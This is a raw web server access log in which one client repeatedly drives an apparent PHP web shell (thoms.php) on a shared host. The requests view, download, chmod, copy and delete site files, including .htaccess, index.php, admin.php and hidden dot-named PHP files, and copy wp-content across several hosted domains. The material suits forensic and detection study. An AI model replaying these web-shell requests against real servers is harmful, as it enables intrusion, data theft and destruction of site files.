45.135.193.11 - - [11/Sep/2026:23:26:47 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade&view=termps.php HTTP/1.1" 200 11834 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fupgrade&view=termps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:47 -0400] "GET /thoms.php?del=termps.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 14173 "http://163.245.207.76:443/thoms.php?del=termps.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:47 -0400] "GET /bossini.com.tw/upgrade HTTP/1.1" 301 795 "http://163.245.207.76:443/bossini.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:47 -0400] "GET /bossini.com.tw/upgrade/ HTTP/1.1" 200 6722 "https://163.245.207.76:443/bossini.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:47 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade&upload= HTTP/1.1" 200 12182 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fupgrade&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:47 -0400] "GET /thoms.php?chmod=.025229620227052.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=.025229620227052.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:47 -0400] "GET /thoms.php?chmod=admin.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:47 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade%2Fadmin.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade%2Fadmin.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:47 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade%2Fpostnews.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11369 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade%2Fpostnews.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:47 -0400] "GET /thoms.php?del=.htaccess&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 14159 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:47 -0400] "GET /thoms.php?chmod=index.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:47 -0400] "GET /thoms.php?del=index.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 14169 "http://163.245.207.76:443/thoms.php?del=index.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:47 -0400] "GET /thoms.php?dl=termps.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 14170 "http://163.245.207.76:443/thoms.php?dl=termps.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /thoms.php?chmod=txets.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=txets.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /thoms.php?dl=index.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 14169 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /bossini.com.tw/upgrade/.523536294085687.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /bossini.com.tw/upgrade/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade&view=postnews.php HTTP/1.1" 200 11848 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fupgrade&view=postnews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade%2F.htaccess&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade%2F.htaccess&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade&view=error_log HTTP/1.1" 200 12068 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fupgrade&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /thoms.php?chmod=termps.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?chmod=termps.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade%2Ftermps.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade%2Ftermps.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /thoms.php?chmod=.523536294085687.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=.523536294085687.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /bossini.com.tw/upgrade/admin.php HTTP/1.1" 200 1105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /thoms.php?dl=.htaccess&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13957 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13970 "https://163.245.207.76:443/thoms.php?chmod=.523536294085687.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade%2F.523536294085687.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade%2F.523536294085687.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13969 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade%2F.523536294085687.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /bossini.com.tw/upgrade/postnews.php HTTP/1.1" 200 114 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /thoms.php?dl=error_log&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13970 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /bossini.com.tw/upgrade/termps.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:48 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade&view=index.php HTTP/1.1" 200 11832 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fupgrade&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:49 -0400] "GET /thoms.php?dl=.523536294085687.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13969 "http://163.245.207.76:443/thoms.php?dl=.523536294085687.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:49 -0400] "GET /thoms.php?del=.686359038081706.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13969 "http://163.245.207.76:443/thoms.php?del=.686359038081706.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:49 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade&view=admin.php HTTP/1.1" 200 38765 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fupgrade&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade%2Findex.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade%2Findex.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:49 -0400] "GET /bossini.com.tw/upgrade/txets.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:49 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade&view=txets.php HTTP/1.1" 200 11844 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fupgrade&view=txets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade%2Ftxets.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade%2Ftxets.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:49 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade&view=.htaccess HTTP/1.1" 200 11948 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fupgrade&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:49 -0400] "GET /thoms.php?del=admin.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13969 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:49 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade&settings=1 HTTP/1.1" 200 11912 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fupgrade&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:49 -0400] "GET /thoms.php?del=.025229620227052.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13969 "http://163.245.207.76:443/thoms.php?del=.025229620227052.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:49 -0400] "GET /thoms.php?dl=.025229620227052.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13972 "http://163.245.207.76:443/thoms.php?dl=.025229620227052.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:49 -0400] "GET /thoms.php?chmod=error_log&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:49 -0400] "GET /thoms.php?del=error_log&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13968 "http://163.245.207.76:443/thoms.php?del=error_log&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade%2F.025229620227052.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade%2F.025229620227052.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?chmod=postnews.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=postnews.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?del=txets.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13972 "http://163.245.207.76:443/thoms.php?del=txets.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /bossini.com.tw/upgrade/.025229620227052.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade&view=.523536294085687.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fupgrade&view=.523536294085687.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?dl=.686359038081706.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13770 "http://163.245.207.76:443/thoms.php?dl=.686359038081706.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13773 "https://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fupgrade&view=.523536294085687.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?del=.523536294085687.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13771 "http://163.245.207.76:443/thoms.php?del=.523536294085687.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade&view=.686359038081706.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fupgrade&view=.686359038081706.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade%2F.686359038081706.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade%2F.686359038081706.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13772 "https://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fupgrade&view=.686359038081706.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?chmod=.htaccess&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13771 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade%2F.686359038081706.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?dl=admin.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13762 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /bossini.com.tw/upgrade/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?del=postnews.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13762 "http://163.245.207.76:443/thoms.php?del=postnews.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade&view=.025229620227052.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fupgrade&view=.025229620227052.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13773 "https://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fupgrade&view=.025229620227052.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=upgrade HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22132 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=besth2o.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=betcity.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=big-wife.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=bodbooks.com.tw HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22113 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=bogroup.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
